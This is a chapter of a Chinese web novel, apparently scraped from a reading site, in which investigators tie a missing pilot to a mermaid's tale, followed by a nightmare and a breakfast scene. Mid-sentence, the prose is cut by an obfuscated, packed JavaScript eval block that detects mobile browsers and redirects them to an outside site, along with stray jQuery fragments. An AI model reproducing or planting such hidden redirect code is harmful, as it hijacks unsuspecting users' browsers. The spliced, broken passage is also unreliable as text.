日光即将西沉。
岁聆夏带着一身海风的咸湿气息和口袋里沉甸甸的珍珠回到了特调7组的办公室。
沐归尘和毕烁翎依旧围坐在那张宽大的办公桌旁。
但与上午的杂乱不同,桌面上的地图、卫星照片、航线图和各类生物资料被分门别类整理过,上面用不同颜色的笔做了密密麻麻的标记和连线。
显然,这两位“工作狂”埋头钻研了一天,终于从纷乱的线索中理出了头绪。
岁聆夏扫了一眼那些密密麻麻的文字和照片,立刻意兴阑珊。
毕烁翎瞥见她那副生无可恋的样子,赶紧安抚:
“岁聆夏你再忍一小会儿,我们收拾完这些马上带你去吃大餐!管饱!“
岁聆夏这才勉强“嗯”了一声,不情不愿地在旁边的沙发角落缩成一团。
忽然,她那双原本百无聊赖的大眼睛倏地一亮!
她猛地从沙发上弹起来,一个箭步冲到沐归尘面前,纤细的手指直直指向对方,清脆响亮地喊出两个字:
“渣男。”
“噗——咳咳咳!!!“毕烁翎刚灌进嘴里的咖啡瞬间喷了出来,呛得他惊天动地,猛地转头,眼珠子都快瞪出来:“你、你说什么?谁是渣男?”
看清楚岁聆夏手指的放心之后,他转向沐归尘,恶狠狠地说:“你对她做了什么?!”
沐归尘手中正拿着一张失踪人员的档案照片,动作骤然僵住。
他放在膝盖上的左手不由自主地收紧,骨节微微泛白,眉头极其轻微地挑了一下,看着眼前的人形凶兽:
“你……”
岁聆夏已经扑了上来,一把抢过沐归尘手里的照片:“就是他,渣男。“
原来她指的是沐归尘手上拿着的照片。
照片上是一张男人的全身照。
男人身穿飞行制服,五官清晰明朗,眉宇间确有几分放荡不羁的神情。
毕烁翎长舒了一口气:“岁!下次说话不要说半截,这样很容易让人误会。”
“这人你认识?“沐归尘迅速收敛了那丝异样,神情恢复一贯的轻松。
“认识,”岁聆夏拿着那张照片晃了晃,说,“他就是云盏姐姐要找的那个渣男,原来是飞行员啊,你们也认识他吗?“
“谁是云盏?”沐归尘和毕烁翎异口同声地问。
接着,岁聆夏把自己如何偶遇云盏、如何见证鲛人泪成珍珠、如何听她倾诉渣男的虐恋之痛的全过程,不咸不淡地讲了一遍。
说完她还特别神秘兮兮地从衣兜里掏出一把晶莹剔透的珍珠,献宝似地放在桌上。
毕烁翎眼睛瞬间亮了,拿起一颗珍珠仔细打量:“……岁,你发财了啊!”
“发财?”岁聆夏疑惑地歪头。
毕烁翎:“你知道这些珍珠值多少钱吗?”
岁聆夏:“很值钱吗?”
毕烁翎:“这可是鲛人泪珠,跟普通珍珠可不一样!这些够你买好几辆法拉利了!”
岁聆夏:“我要法拉利干什么?”
“我就是举个例子,”毕烁翎额头青筋直跳,“总之这些够你买很多东西了。”
“那是不是我以后都不用给白见川打工了?”岁聆夏两眼发光。
“你想多了,那还是远远不够的。”毕烁翎说着从她手里接过珍珠,“你给我吧,我帮你收着,防止你弄丢。等换了钱再给你抵账。“
沐归尘此时已经低下头,快速将手中另一份资料与照片、以及岁聆夏转述的云盏的信息进行交叉比对:“这个渣男......呃......飞行员,名叫段景殊。是我们正在调查的第五架失踪飞机上的机长。”
岁聆夏:“旭日公司失踪的那些飞机之一吗?”
沐归尘:“有意思,我们正在调查这些消失的飞机,飞行员的神秘鲛人女友就主动送上门来了。”
毕烁翎:“你是怀疑这个鲛人是故意接近岁的?”
沐归尘:“不确定,但是这第五位飞行员的失踪时间,与云盏所说男友断联的时间点高度吻合。而且......”
他修长的手指点了点地图上的一个坐标。
“他驾驶的那架飞机最后失去信号的位置,恰好就在玄东海——已知的鲛人族群主要活动水域的边缘。“
“段景殊?“毕烁翎念了一遍,“听这名字就挺渣男。”
岁聆夏:“渣男听名字就能听出来吗?”
毕烁翎摸了摸自己的衬衣领子:“咳咳,这个我下次有机会再给你好好讲讲,现在言归正传。”
沐归尘眼皮抽搐了一下,盯着手中的照片:“看来,我们得找个时间见一见这位云盏小姐。“
……
夜里,岁聆夏做了个噩梦。
梦里,博物馆的灯光冷得像海底。
鲛人标本静静悬浮在水缸中央,苍白的眼珠突然转动,直直望向她。
“不要相信人类!”
“不要相信人类!”
“不要相信人类!”
“啊——啊!!”
那声音像是从深海裂缝中涌出的哀嚎,一遍一遍回荡在她耳边。
下一秒,鲛人的皮肤像被剥开。
泪水化作串串晶莹的血珠,在水中展开妖异的血花。
她猛地惊醒,额头全是冷汗。
身侧的窗帘被风吹起,像某种游曳的尾鳍。
弥隐坐在床边,指腹轻抚她的额头:“你没事吧?”
岁聆夏摸了摸额头上的冷汗:“没事,做了个梦。”
弥隐:“噩梦吗?流这么多汗。”
岁聆夏:“嗯。”
弥隐拿了条干净的毛巾给她擦汗:“什么梦啊?能把你这个小霸王吓成这样,给我说说。”
岁聆夏忽然反问:“隐,你知道什么是渣男吗?”
弥隐一怔,立刻紧张起来:“......怎么突然说起这个,白天发生了什么?是你那个叫沐归尘的同事吗?他对你做了什么?”
“不是。”岁聆夏无奈地摇头,“你怎么反应越来越像毕烁翎了……”
岁聆夏简单把刚刚的梦和白天发生的事情说了一遍。
弥隐听完,指尖在她额头弹了一下,若有所思:“渣男这玩意,要说起来三天三夜也说不完,总之你记住,渣男就是会呼吸的雄性。”
……
次日,毕烁翎一早去了玄东海域上空巡查。
办公室内只剩下朝气满满的沐归尘、活蹦乱跳的瓜瓜、和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279567|182495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明显没睡好顶着两个浅浅黑眼圈的岁聆夏。
“岁,你还没吃早餐吧,过来一起吃点。”沐归尘主动招呼岁聆夏过来一起吃早餐。
沐归尘一边喝咖啡一边拿着手机看新闻。
他低头不语时,神情略显冷峻。
衬衫没有一丝褶皱,袖口干净,动作利落。
他刚伸手,修长的手指准备去取一片烤得恰到好处的黄油吐司
“啪!”
一根银叉以迅雷不及掩耳之势精准地插下,那片吐司瞬间易主,稳稳落进了对面岁聆夏的盘子里。
沐归尘的手悬在半空,微微挑眉,抬眼看向对面。
岁聆夏顶着一头乱糟糟、仿佛被雷劈过的卷毛,像只护食的小兽,紧紧抱着自己的餐盘,含糊又理直气壮地宣告:
“我的。”
沐归尘失笑,改变方向想去拿布丁,又被她截胡。
无论他想拿什么,都会被对方抢先一步。
沐归尘不知道自己怎么得罪了这个小祖宗。
沐归尘看着盘子里空空如也的自己,再看看对面堆成小山的餐盘。
身体微微向后靠在椅背上,双手交叠放在腿上,好整以暇地看着她,好奇地问:
“我又怎么得罪你了?“
岁聆夏正恶狠狠地咬着一片培根,想起梦里那句“不要相信人类”,和弥隐说的“只要会呼吸的雄性就是渣男”,她咬牙道:
“会呼吸的、雄性、都是渣男。“
沐归尘闻言怔了下,旋即低低一笑。
岁聆夏气愤道:“你笑什么?我很认真的。”
沐归尘忽然站起身。
他缓步绕过桌子,走向因为他的靠近而瞬间绷紧身体的岁聆夏。
他在她面前站定,微微俯下身。
距离瞬间拉得很近,近到岁聆夏能清晰地闻到他身上淡淡的、如同雨后森林般清冽的气息。
他的声音也随之压低,如同耳语,轻轻拂过她的耳畔。
“小布丁,”尾音微微上扬:“那你告诉我,……什么叫‘渣男’?“
“我……“岁聆夏被他突然的靠近和直击灵魂的问题问得瞬间卡壳,脑子里关于“渣男”的定义只剩下云盏姐姐的眼泪和短视频里模糊的控诉,一时语塞。
她只能瞪圆了眼睛,警惕地盯着他近在咫尺的、漂亮得过分的脸。
沐归尘看着她失语的模样,眼底泛起一丝笑意。
伸出修长的手指,轻轻一按桌上装着布丁的小瓷盘,将那盘布丁推回自己面前,然后稳稳坐回自己的座位。
“说吧,小布丁,到底发生什么了?“
岁聆夏舌头像被烫到:“你才小布丁,你全家都是小布丁。”
沐归尘笑着说:“我刚刚不还是渣男吗?怎么又变成小布丁了?”
她低头拿勺子搅着粥,手忙脚乱地:“我梦到一个鲛人,她被人类背叛了……她哭得好惨……她说一定不要相信人类。”
沐归尘目光一闪:“你梦见的是你自己的记忆?还是其他什么东西的?”
岁聆夏皱起眉:“你什么意思?”
沐归尘没说话,望着她的眼神忽然认真起来:“我想,我们可能都低估了那位鲛人小姐。”